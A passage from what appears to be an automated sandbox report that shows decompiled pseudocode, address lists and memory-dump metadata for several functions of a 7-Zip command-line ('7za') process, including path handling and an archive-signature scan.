							 *(_t187 - 0x14) =  *(_t187 - 0x14) - 1;
							 *((intOrPtr*)(_t187 - 0x18)) =  *((intOrPtr*)(_t187 - 0x18)) + 8;
							_t49 = _t187 - 0x20;
							 *_t49 =  *(_t187 - 0x20) - 1;
						} while ( *_t49 != 0);
					}
					 *_t182 =  *(_t187 - 0x2c);
					_t182[1] =  *(_t187 - 0x28);
					if(( *(_t187 + 0xb) & 0x00000010) == 0) {
						_t135 = 1;
						_t182[5] = _t135;
					} else {
						_t182[5] = E0042D241(_t173);
						_t168 =  *((intOrPtr*)(_t184 + 0x18));
						_t135 = E0042D241(_t173);
					}
					_t182[6] = _t135;
					if(( *(_t187 + 0xb) & 0x00000020) != 0) {
						_t139 = E0042D241(_t173);
						_t66 =  &(_t182[2]); // 0x107
						 *(_t187 - 0x20) = _t139;
						E0040FA26(_t66, _t139);
						_t168 =  *((intOrPtr*)(_t184 + 0x18));
						E0042D12E( *((intOrPtr*)(_t184 + 0x18)), _t182[4],  *(_t187 - 0x20));
					}
					if(( *(_t187 + 0xb) & 0x00000080) != 0) {
						E0042D0F8(_t168);
					}
					 *(_t187 - 0x10) =  *(_t187 - 0x10) + _t182[5];
					 *(_t187 - 0x1c) =  *(_t187 - 0x1c) + _t182[6];
					_t80 = _t187 - 0x24;
					 *_t80 =  *((intOrPtr*)(_t187 - 0x24)) - 1;
				} while ( *_t80 != 0);
				goto L15;
			}

0x0042d5f3
0x0042d5f8
0x0042d602
0x0042d608
0x0042d60d
0x0042d610
0x0042d614
0x0042d61c
0x0042d621
0x0042d625
0x0042d62b
0x0042d74c
0x0042d74f
0x0042d755
0x0042d758
0x0042d760
0x0042d762
0x0042d767
0x0042d76c
0x0042d794
0x0042d794
0x0042d79a
0x0042d79c
0x0042d79c
0x0042d7a1
0x0042d7a4
0x0042d7a7
0x0042d7ab
0x0042d7b3
0x0042d7fb
0x00000000
0x00000000
0x00000000
0x00000000
0x0042d7fd
0x0042d7fd
0x0042d809
0x0042d80e
0x0042d80e
0x00000000
0x0042d7b5
0x0042d7b5
0x0042d7ba
0x0042d7ec
0x0042d7f0
0x0042d7f2
0x0042d7f2
0x0042d811
0x0042d817
0x0042d81f
0x0042d81f
0x0042d7bc
0x0042d7bf
0x0042d7c3
0x0042d7d4
0x0042d7d4
0x0042d7d7
0x0042d7d9
0x0042d7e3
0x0042d7e7
0x00000000
0x0042d7e7
0x00000000
0x0042d7d9
0x0042d7c5
0x0042d7c8
0x0042d7cc
0x0042d7cd
0x0042d7d2
0x00000000
0x00000000
0x00000000
0x0042d7d2
0x00000000
0x0042d7db
0x0042d7db
0x0042d7dc
0x00000000
0x0042d7e1
0x0042d7b3
0x0042d76e
0x0042d771
0x0042d77c
0x0042d77f
0x0042d785
0x0042d78a
0x0042d78f
0x0042d78f
0x0042d78f
0x00000000
0x0042d771
0x0042d631
0x0042d634
0x0042d634
0x0042d638
0x0042d641
0x0042d644
0x0042d64b
0x0042d64e
0x0042d656
0x0042d65a
0x0042d65d
0x0042d669
0x0042d670
0x0042d675
0x0042d678
0x0042d67e
0x0042d686
0x0042d68b
0x0042d691
0x0042d693
0x0042d698
0x0042d698
0x0042d69b
0x0042d69f
0x0042d6a2
0x0042d6a5
0x0042d6a7
0x0042d6ae
0x0042d6b1
0x0042d6b4
0x0042d6b7
0x0042d6bd
0x0042d6c3
0x0042d6c6
0x0042d6c9
0x0042d6cc
0x0042d6d0
0x0042d6d0
0x0042d6d0
0x0042d6b4
0x0042d6dc
0x0042d6e1
0x0042d6e4
0x0042d6fd
0x0042d6fe
0x0042d6e6
0x0042d6ee
0x0042d6f1
0x0042d6f4
0x0042d6f4
0x0042d705
0x0042d708
0x0042d70d
0x0042d713
0x0042d716
0x0042d719
0x0042d721
0x0042d727
0x0042d727
0x0042d730
0x0042d732
0x0042d732
0x0042d73a
0x0042d740
0x0042d743
0x0042d743
0x0042d743
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0042D5F8

Part of subcall function 0040867E: __CxxThrowException@8.LIBC ref: 004086AA
Part of subcall function 0040867E: __CxxThrowException@8.LIBC ref: 004086D1
Part of subcall function 0040867E: __CxxThrowException@8.LIBC ref: 004086F9

Part of subcall function 0042D0F8: __CxxThrowException@8.LIBC ref: 0042D10B

Part of subcall function 00428C94: __EH_prolog.LIBCMT ref: 00428C99

Strings

c[@, xrefs: 0042D63C
, xrefs: 0042D701

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0042CD7D, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185

C-Code - Quality: 100%

			E0042CD7D(void* __ecx) {
				signed int _t118;
				signed int _t129;
				signed int* _t130;
				signed int _t150;
				signed int _t151;
				signed int _t160;
				intOrPtr _t162;
				signed int* _t180;
				signed int _t181;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t195;
				signed int _t196;
				intOrPtr _t198;
				void* _t200;
				signed int* _t202;
				void* _t203;

				E0046B890(E004774BC, _t203);
				_t200 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) > 0x20 ||  *((intOrPtr*)(__ecx + 0x1c)) > 0x20) {
					L31:
					_t118 = 0;
				} else {
					E00404AD0(_t203 - 0x28, 1);
					 *((intOrPtr*)(_t203 - 0x28)) = 0x47ab08;
					_t150 = 0;
					 *(_t203 - 4) = 0;
					E0042CFAA(_t203 - 0x28,  *((intOrPtr*)(__ecx + 0x30)) +  *((intOrPtr*)(__ecx + 0x1c)));
					_t190 = 0;
					if( *((intOrPtr*)(_t200 + 0x1c)) <= 0) {
						L5:
						_t191 = 0;
						if( *((intOrPtr*)(_t200 + 0x30)) <= _t150) {
							L8:
							E0042CFAA(_t203 - 0x28,  *((intOrPtr*)(_t200 + 0x44)));
							_t192 = 0;
							if( *((intOrPtr*)(_t200 + 0x1c)) <= _t150) {
								L11:
								 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
								E00408604(_t203 - 0x28);
								_t160 = 0x20;
								memset(_t203 - 0xd0, 0, _t160 << 2);
								_t162 = 4;
								 *(_t203 - 0x38) = _t150;
								 *(_t203 - 0x34) = _t150;
								 *(_t203 - 0x30) = _t150;
								 *((intOrPtr*)(_t203 - 0x2c)) = 0;
								 *((intOrPtr*)(_t203 - 0x3c)) = 0x47a668;
								 *(_t203 - 4) = 1;
								 *(_t203 - 0x4c) = _t150;
								 *(_t203 - 0x48) = _t150;
								 *(_t203 - 0x44) = _t150;
								 *((intOrPtr*)(_t203 - 0x40)) = _t162;
								 *((intOrPtr*)(_t203 - 0x50)) = 0x47a668;
								 *(_t203 - 4) = 2;
								 *(_t203 - 0x10) = _t150;
								if( *((intOrPtr*)(_t200 + 8)) > _t150) {
									do {
										 *(_t203 - 0x14) = _t150;
										_t198 =  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0xc)) +  *(_t203 - 0x10) * 4));
										if( *((intOrPtr*)(_t198 + 0x14)) > _t150) {
											do {
												E00415C6D(_t203 - 0x3c,  *(_t203 - 0x10));
												 *(_t203 - 0x14) =  *(_t203 - 0x14) + 1;
											} while ( *(_t203 - 0x14) <  *((intOrPtr*)(_t198 + 0x14)));
										}
										 *(_t203 - 0x14) = _t150;
										if( *((intOrPtr*)(_t198 + 0x18)) > _t150) {
											do {
												E00415C6D(_t203 - 0x50,  *(_t203 - 0x10));
												 *(_t203 - 0x14) =  *(_t203 - 0x14) + 1;
											} while ( *(_t203 - 0x14) <  *((intOrPtr*)(_t198 + 0x18)));
										}
										 *(_t203 - 0x10) =  *(_t203 - 0x10) + 1;
									} while ( *(_t203 - 0x10) <  *((intOrPtr*)(_t200 + 8)));
								}
								_t195 = 0;
								if( *((intOrPtr*)(_t200 + 0x1c)) > _t150) {
									do {
										_t151 = 1;
										 *(_t203 +  *( *(_t203 - 0x30) +  *( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8) * 4) * 4 - 0xd0) =  *(_t203 +  *( *(_t203 - 0x30) +  *( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8) * 4) * 4 - 0xd0) | _t151 <<  *( *(_t203 - 0x44) + ( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8)[1] * 4);
										_t195 = _t195 + 1;
									} while (_t195 <  *((intOrPtr*)(_t200 + 0x1c)));
									_t150 = 0;
								}
								 *(_t203 - 4) = 1;
								E00408604(_t203 - 0x50);
								 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
								E00408604(_t203 - 0x3c);
								_t180 = _t203 - 0xd0;
								 *(_t203 - 0x14) = 0x20;
								do {
									 *(_t203 - 0x10) = _t150;
									_t202 = _t203 - 0xd0;
									do {
										_t129 =  *_t180;
										_t196 = 1;
										if((_t129 & _t196 <<  *(_t203 - 0x10)) != 0) {
											 *_t180 = _t129 |  *_t202;
										}
										 *(_t203 - 0x10) =  *(_t203 - 0x10) + 1;
										_t202 =  &(_t202[1]);
									} while ( *(_t203 - 0x10) < 0x20);
									_t180 =  &(_t180[1]);
									_t106 = _t203 - 0x14;
									 *_t106 =  *(_t203 - 0x14) - 1;
								} while ( *_t106 != 0);
								_t130 = _t203 - 0xd0;
								while(1) {
									_t181 = 1;
									if(( *_t130 & _t181 << _t150) != 0) {
										goto L31;
									}
									_t150 = _t150 + 1;
									_t130 =  &(_t130[1]);
									if(_t150 < 0x20) {
										continue;
									} else {
										_t118 = 1;
									}
									goto L32;
								}
								goto L31;
							} else {
								while(E0042CFD0(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x20)) + 4 + _t192 * 8))) == 0) {
									_t192 = _t192 + 1;
									if(_t192 <  *((intOrPtr*)(_t200 + 0x1c))) {
										continue;
									} else {
										goto L11;
									}
									goto L32;
								}
								goto L30;
							}
						} else {
							while(E0042CFD0(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x34)) + _t191 * 4))) == 0) {
								_t191 = _t191 + 1;
								if(_t191 <  *((intOrPtr*)(_t200 + 0x30))) {
									continue;
								} else {
									goto L8;
								}
								goto L32;
							}
							goto L30;
						}
					} else {
						while(E0042CFD0(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x20)) + _t190 * 8))) == 0) {
							_t190 = _t190 + 1;
							if(_t190 <  *((intOrPtr*)(_t200 + 0x1c))) {
								continue;
							} else {
								goto L5;
							}
							goto L32;
						}
						L30:
						 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
						E00408604(_t203 - 0x28);
						goto L31;
					}
				}
				L32:
				 *[fs:0x0] =  *((intOrPtr*)(_t203 - 0xc));
				return _t118;
			}

0x0042cd82
0x0042cd8f
0x0042cd98
0x0042cf99
0x0042cf99
0x0042cda8
0x0042cdad
0x0042cdb2
0x0042cdbf
0x0042cdc7
0x0042cdca
0x0042cdcf
0x0042cdd4
0x0042cdf2
0x0042cdf2
0x0042cdf7
0x0042ce15
0x0042ce1b
0x0042ce20
0x0042ce25
0x0042ce44
0x0042ce44
0x0042ce4b
0x0042ce54
0x0042ce5b
0x0042ce64
0x0042ce65
0x0042ce68
0x0042ce6b
0x0042ce6e
0x0042ce71
0x0042ce74
0x0042ce7b
0x0042ce7e
0x0042ce81
0x0042ce84
0x0042ce87
0x0042ce8d
0x0042ce91
0x0042ce94
0x0042ce96
0x0042ce9c
0x0042ce9f
0x0042cea5
0x0042cea7
0x0042cead
0x0042ceb2
0x0042ceb8
0x0042cea7
0x0042cec0
0x0042cec3
0x0042cec5
0x0042cecb
0x0042ced0
0x0042ced6
0x0042cec5
0x0042cedb
0x0042cee1
0x0042ce96
0x0042cee6
0x0042ceeb
0x0042ceed
0x0042cefb
0x0042cf11
0x0042cf13
0x0042cf14
0x0042cf19
0x0042cf19
0x0042cf1e
0x0042cf22
0x0042cf27
0x0042cf2e
0x0042cf33
0x0042cf39
0x0042cf40
0x0042cf40
0x0042cf43
0x0042cf49
0x0042cf4c
0x0042cf50
0x0042cf55
0x0042cf59
0x0042cf59
0x0042cf5b
0x0042cf5e
0x0042cf61
0x0042cf67
0x0042cf6a
0x0042cf6a
0x0042cf6a
0x0042cf6f
0x0042cf75
0x0042cf79
0x0042cf7e
0x00000000
0x00000000
0x0042cf80
0x0042cf81
0x0042cf87
0x00000000
0x0042cf89
0x0042cf89
0x0042cf89
0x00000000
0x0042cf87
0x00000000
0x0042ce27
0x0042ce27
0x0042ce3e
0x0042ce42
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ce42
0x00000000
0x0042ce27
0x0042cdf9
0x0042cdf9
0x0042ce0f
0x0042ce13
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ce13
0x00000000
0x0042cdf9
0x0042cdd6
0x0042cdd6
0x0042cdec
0x0042cdf0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042cdf0
0x0042cf8d
0x0042cf8d
0x0042cf94
0x00000000
0x0042cf94
0x0042cdd4
0x0042cf9b
0x0042cfa1
0x0042cfa9

APIs

__EH_prolog.LIBCMT ref: 0042CD82

Strings

, xrefs: 0042CF39
, xrefs: 0042CF61

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00408F8D, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 174

C-Code - Quality: 95%

			E00408F8D(intOrPtr __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t94;
				void* _t111;
				void* _t120;
				signed int _t124;
				intOrPtr _t137;
				intOrPtr _t139;
				signed int _t167;
				intOrPtr _t168;
				void* _t172;
				void* _t176;

				E0046B890(E00473905, _t176);
				 *((intOrPtr*)(_t176 - 0x34)) = __ecx;
				E00405B9F(_t176 - 0x24);
				 *((intOrPtr*)(_t176 - 0x24)) = 0x47a420;
				_t137 =  *((intOrPtr*)(_t176 + 0xc));
				_t167 = 0;
				 *(_t176 - 4) = 0;
				_t182 =  *((intOrPtr*)(_t137 + 4));
				if( *((intOrPtr*)(_t137 + 4)) == 0) {
					 *(_t176 + 0x10) = "Empty file path";
					E0046B8F4(_t176 + 0x10, 0x47cf70);
				}
				_t165 = _t176 - 0x24;
				E00408833(_t137, _t176 - 0x24, _t182);
				 *(_t176 - 0xd) = 1;
				if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t176 - 0x18)) +  *(_t176 - 0x1c) * 4 - 4)) + 4)) == _t167) {
					 *(_t176 - 0xd) =  *(_t176 - 0xd) & 0x00000000;
					E00408635(_t176 - 0x24);
				}
				 *(_t176 + 0xf) =  *(_t176 + 0xf) & 0x00000000;
				_t94 =  *((intOrPtr*)( *((intOrPtr*)(_t176 - 0x18))));
				_t139 =  *((intOrPtr*)(_t94 + 4));
				if(_t139 == _t167 || _t139 == 2 &&  *((short*)( *_t94 + 2)) == 0x3a) {
					L12:
					 *(_t176 + 0xf) = 1;
					goto L13;
				} else {
					if( *(_t176 - 0x1c) <= _t167) {
						L13:
						_t172 = 0;
						if( *(_t176 + 0xf) != 0) {
							_t124 =  *(_t176 - 0x1c);
							_t172 = 1;
							if(_t124 > 0) {
								_t172 = _t124 - 1;
							}
						}
						_t168 = 0;
						 *((intOrPtr*)(_t176 - 0x30)) = 0;
						 *((intOrPtr*)(_t176 - 0x2c)) = 0;
						 *((intOrPtr*)(_t176 - 0x28)) = 0;
						E00401E9A(_t176 - 0x30, 3);
						 *(_t176 - 4) = 1;
						if(_t172 <= 0) {
							L19:
							_t169 =  *((intOrPtr*)(_t176 - 0x34));
							_t173 = E00408F5D( *((intOrPtr*)(_t176 - 0x34)), _t176 - 0x30);
							if(_t97 < 0) {
								E004039C0(_t176 - 0xa4, _t176 - 0x30);
								 *(_t176 - 4) = 2;
								E004091BA(_t176 - 0x98);
								_push(_t176 - 0xa4);
								 *(_t176 - 4) = 3;
								_t173 = E00409411(_t169, _t169);
								 *(_t176 - 4) = 4;
								E0040587A(_t176 - 0x98);
								 *(_t176 - 4) = 1;
								E00407A18( *((intOrPtr*)(_t176 - 0xa4)));
							}
							E00405B9F(_t176 - 0x4c);
							 *((intOrPtr*)(_t176 - 0x4c)) = 0x47a420;
							 *(_t176 - 4) = 5;
							E0040862D();
							_push(_t176 - 0x24);
							E00409500(_t176 - 0x4c);
							 *((char*)(_t176 - 0x37)) =  *(_t176 - 0xd);
							 *((char*)(_t176 - 0x38)) =  *(_t176 + 0x10);
							 *((char*)(_t176 - 0x36)) = 1;
							_push(_t176 - 0x4c);
							_push( *((intOrPtr*)(_t176 + 8)));
							E00408B85( *((intOrPtr*)( *((intOrPtr*)(_t169 + 0xc)) + _t173 * 4)) + 0xc, _t165);
							 *((intOrPtr*)(_t176 - 0x4c)) = 0x47a420;
							 *(_t176 - 4) = 6;
							E0040862D();
							 *(_t176 - 4) = 1;
							E00408604(_t176 - 0x4c);
							E00407A18( *((intOrPtr*)(_t176 - 0x30)));
							 *((intOrPtr*)(_t176 - 0x24)) = 0x47a420;
							 *(_t176 - 4) = 7;
							E0040862D();
							 *(_t176 - 4) =  *(_t176 - 4) | 0xffffffff;
							_t111 = E00408604(_t176 - 0x24);
							 *[fs:0x0] =  *((intOrPtr*)(_t176 - 0xc));
							return _t111;
						} else {
							while(1) {
								 *((intOrPtr*)(_t176 + 0xc)) =  *((intOrPtr*)( *((intOrPtr*)(_t176 - 0x18))));
								_t120 = E00408A3B( *((intOrPtr*)( *((intOrPtr*)(_t176 - 0x18)))));
								_t195 = _t120;
								if(_t120 != 0) {
									goto L19;
								}
								E00405529(_t176 - 0x30, _t165, _t195,  *((intOrPtr*)(_t176 + 0xc)));
								E004054FE(_t176 - 0x30, _t165, _t195, 0x5c);
								E004036D9(0x47a420, _t176 - 0x24, _t172, 0, 1);
								_t168 = _t168 + 1;
								if(_t168 < _t172) {
									continue;
								}
								goto L19;
							}
							goto L19;
						}
					} else {
						goto L8;
					}
					while(1) {
						L8:
						_t165 = 0x48b598;
						_t175 =  *((intOrPtr*)( *((intOrPtr*)(_t176 - 0x18)) + _t167 * 4));
						if(E00408053( *( *((intOrPtr*)( *((intOrPtr*)(_t176 - 0x18)) + _t167 * 4))), 0x48b598) == 0) {
							goto L12;
						}
						_t165 = 0x48b594;
						if(E00408053( *_t175, 0x48b594) == 0) {
							goto L12;
						}
						_t167 = _t167 + 1;
						if(_t167 <  *(_t176 - 0x1c)) {
							continue;
						}
						goto L13;
					}
					goto L12;
				}
			}

0x00408f92
0x00408f9d
0x00408fa5
0x00408faf
0x00408fb2
0x00408fb5
0x00408fb7
0x00408fba
0x00408fbd
0x00408fc8
0x00408fcf
0x00408fcf
0x00408fd4
0x00408fd7
0x00408fe2
0x00408fed
0x00408fef
0x00408ff6
0x00408ff6
0x00408ffe
0x00409003
0x00409005
0x0040900a
0x0040904d
0x0040904d
0x00000000
0x0040901a
0x0040901d
0x00409051
0x00409051
0x00409057
0x00409059
0x0040905e
0x00409061
0x00409063
0x00409063
0x00409061
0x00409066
0x0040906d
0x00409070
0x00409073
0x00409076
0x0040907d
0x00409081
0x004090ba
0x004090ba
0x004090c8
0x004090cc
0x004090d8
0x004090e3
0x004090e7
0x004090f4
0x004090f5
0x004090fe
0x00409106
0x0040910a
0x00409115
0x00409119
0x0040911e
0x00409122
0x00409127
0x0040912d
0x00409131
0x0040913c
0x0040913d
0x00409148
0x0040914e
0x00409154
0x00409158
0x0040915c
0x00409162
0x00409167
0x0040916d
0x00409171
0x00409179
0x0040917d
0x00409185
0x0040918b
0x00409191
0x00409198
0x0040919d
0x004091a4
0x004091af
0x004091b7
0x00409083
0x00409083
0x00409088
0x0040908b
0x00409090
0x00409092
0x00000000
0x00000000
0x0040909a
0x004090a4
0x004090b0
0x004090b5
0x004090b8
0x00000000
0x00000000
0x00000000
0x004090b8
0x00000000
0x00409083
0x00000000
0x00000000
0x00000000
0x0040901f
0x0040901f
0x00409022
0x00409027
0x00409033
0x00000000
0x00000000
0x00409037
0x00409043
0x00000000
0x00000000
0x00409045
0x00409049
0x00000000
0x00000000
0x00000000
0x0040904b
0x00000000
0x0040901f

APIs

__EH_prolog.LIBCMT ref: 00408F92
__CxxThrowException@8.LIBC ref: 00408FCF

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 00408833: __EH_prolog.LIBCMT ref: 00408838

Part of subcall function 00408B85: __EH_prolog.LIBCMT ref: 00408B8A

Part of subcall function 00409411: __EH_prolog.LIBCMT ref: 00409416

Part of subcall function 0040587A: __EH_prolog.LIBCMT ref: 0040587F

Strings

59@, xrefs: 00408FAA

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0042D33C, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156

C-Code - Quality: 95%

			E0042D33C(void* __ecx, void* __eflags) {
				intOrPtr _t57;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t71;
				intOrPtr* _t75;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr _t85;
				intOrPtr _t93;
				void* _t95;
				void* _t98;
				intOrPtr* _t100;
				intOrPtr _t104;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr* _t111;
				void* _t113;
				intOrPtr _t115;
				void* _t116;
				void* _t118;
				void* _t119;
				void* _t121;

				E0046B890(E004774D0, _t116);
				_t119 = _t118 - 0x20;
				_t113 = __ecx;
				_t83 = __ecx + 0x28;
				_t107 = 0x20;
				_t57 = E0040FAC0(__eflags, _t107);
				if(_t57 == 0) {
					if(E0042D51A(_t83) == 0) {
						__eflags = 0;
						 *((intOrPtr*)(_t116 - 0x2c)) = 0x47a7ec;
						 *((intOrPtr*)(_t116 - 0x28)) = 0;
						 *((intOrPtr*)(_t116 - 0x24)) = 0;
						 *((intOrPtr*)(_t116 - 4)) = 0;
						E0040FA26(_t116 - 0x2c, 0x10000);
						 *((intOrPtr*)(_t116 - 0x18)) =  *((intOrPtr*)(_t116 - 0x24));
						 *((intOrPtr*)(_t116 - 0x10)) = _t107;
						E0046C5C0( *((intOrPtr*)(_t116 - 0x24)), _t83, _t107);
						_t109 =  *((intOrPtr*)(_t113 + 0x20));
						_t85 =  *((intOrPtr*)(_t113 + 0x24));
						_t121 = _t119 + 0xc;
						while(1) {
							L4:
							_t100 =  *((intOrPtr*)(_t116 + 0xc));
							__eflags = _t100;
							if(_t100 == 0) {
								goto L8;
							}
							_t95 = _t109 -  *((intOrPtr*)(_t113 + 0x20));
							asm("sbb eax, [esi+0x24]");
							__eflags = _t85 -  *((intOrPtr*)(_t100 + 4));
							if(__eflags > 0) {
								L25:
								_t115 = 1;
							} else {
								if(__eflags < 0) {
									goto L8;
								} else {
									__eflags = _t95 -  *_t100;
									if(_t95 >  *_t100) {
										goto L25;
									} else {
										while(1) {
											L8:
											_t65 =  *((intOrPtr*)(_t116 - 0x10));
											_t67 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t116 + 8)))) + 0xc))( *((intOrPtr*)(_t116 + 8)), _t65 +  *((intOrPtr*)(_t116 - 0x18)), 0x10000 - _t65, _t116 - 0x20);
											__eflags = _t67;
											if(_t67 != 0) {
												break;
											}
											_t69 =  *((intOrPtr*)(_t116 - 0x20));
											 *((intOrPtr*)(_t116 - 0x10)) =  *((intOrPtr*)(_t116 - 0x10)) + _t69;
											__eflags = _t69;
											if(_t69 == 0) {
												goto L25;
											} else {
												__eflags =  *((intOrPtr*)(_t116 - 0x10)) - 0x20;
												if( *((intOrPtr*)(_t116 - 0x10)) <= 0x20) {
													continue;
												} else {
													_t104 = 0;
													_t71 =  *((intOrPtr*)(_t116 - 0x10)) + 0xffffffe0;
													 *((intOrPtr*)(_t116 - 0x14)) = 0;
													__eflags = _t71;
													 *((intOrPtr*)(_t116 - 0x1c)) = _t71;
													if(_t71 <= 0) {
														_t93 =  *((intOrPtr*)(_t116 - 0x18));
														goto L23;
													} else {
														while(1) {
															_t93 =  *((intOrPtr*)(_t116 - 0x18));
															while(1) {
																L15:
																__eflags =  *((char*)(_t104 + _t93)) - 0x37;
																if( *((char*)(_t104 + _t93)) == 0x37) {
																	break;
																}
																__eflags = _t104 - _t71;
																if(__eflags < 0) {
																	_t104 = _t104 + 1;
																	 *((intOrPtr*)(_t116 - 0x14)) = _t104;
																	continue;
																}
																L19:
																if(__eflags == 0) {
																	L23:
																	_t109 = _t109 + _t71;
																	asm("adc ebx, 0x0");
																	 *((intOrPtr*)(_t116 - 0x10)) =  *((intOrPtr*)(_t116 - 0x10)) - _t71;
																	E0046BAB0(_t93, _t71 + _t93,  *((intOrPtr*)(_t116 - 0x10)));
																	_t121 = _t121 + 0xc;
																	goto L4;
																} else {
																	_t75 = E0042D4DD(_t93 + _t104);
																	__eflags = _t75;
																	if(_t75 != 0) {
																		E0046C5C0(_t113 + 0x28,  *((intOrPtr*)(_t116 - 0x14)) +  *((intOrPtr*)(_t116 - 0x18)), 0x20);
																		_t110 = _t109 +  *((intOrPtr*)(_t116 - 0x14));
																		_t80 =  *((intOrPtr*)(_t116 + 8));
																		 *((intOrPtr*)(_t113 + 0x20)) = _t110;
																		_t98 = 0;
																		asm("adc ebx, ecx");
																		_t111 = _t110 + 0x20;
																		__eflags = _t111;
																		 *((intOrPtr*)(_t113 + 0x24)) = _t85;
																		asm("adc ebx, ecx");
																		_t67 =  *((intOrPtr*)( *_t80 + 0x10))(_t80, _t111, _t85, _t98, _t98);
																		goto L27;
																	} else {
																		 *((intOrPtr*)(_t116 - 0x14)) =  *((intOrPtr*)(_t116 - 0x14)) + 1;
																		__eflags =  *((intOrPtr*)(_t116 - 0x14)) -  *((intOrPtr*)(_t116 - 0x1c));
																		if( *((intOrPtr*)(_t116 - 0x14)) <  *((intOrPtr*)(_t116 - 0x1c))) {
																			_t71 =  *((intOrPtr*)(_t116 - 0x1c));
																			_t104 =  *((intOrPtr*)(_t116 - 0x14));
																			_t93 =  *((intOrPtr*)(_t116 - 0x18));
																			continue;
																		} else {
																			_t93 =  *((intOrPtr*)(_t116 - 0x18));
																			_t71 =  *((intOrPtr*)(_t116 - 0x1c));
																			goto L23;
																		}
																	}
																}
																goto L28;
															}
															__eflags = _t104 - _t71;
															goto L19;
														}
													}
												}
											}
											goto L28;
										}
										L27:
										_t115 = _t67;
									}
								}
							}
							L28:
							 *((intOrPtr*)(_t116 - 0x2c)) = 0x47a7ec;
							E00407A18( *((intOrPtr*)(_t116 - 0x24)));
							_t57 = _t115;
							goto L29;
						}
					} else {
						_t57 = 0;
					}
				}
				L29:
				 *[fs:0x0] =  *((intOrPtr*)(_t116 - 0xc));
				return _t57;
			}

0x0042d341
0x0042d346
0x0042d34c
0x0042d353
0x0042d356
0x0042d35a
0x0042d361
0x0042d370
0x0042d379
0x0042d37b
0x0042d382
0x0042d385
0x0042d390
0x0042d393
0x0042d39e
0x0042d3a1
0x0042d3a4
0x0042d3a9
0x0042d3ac
0x0042d3af
0x0042d3b2
0x0042d3b2
0x0042d3b2
0x0042d3b5
0x0042d3b7
0x00000000
0x00000000
0x0042d3bd
0x0042d3c0
0x0042d3c3
0x0042d3c6
0x0042d47c
0x0042d47e
0x0042d3cc
0x0042d3cc
0x00000000
0x0042d3ce
0x0042d3ce
0x0042d3d0
0x00000000
0x0042d3d6
0x0042d3d6
0x0042d3d6
0x0042d3e4
0x0042d3f3
0x0042d3f6
0x0042d3f8
0x00000000
0x00000000
0x0042d3fe
0x0042d401
0x0042d404
0x0042d406
0x00000000
0x0042d408
0x0042d408
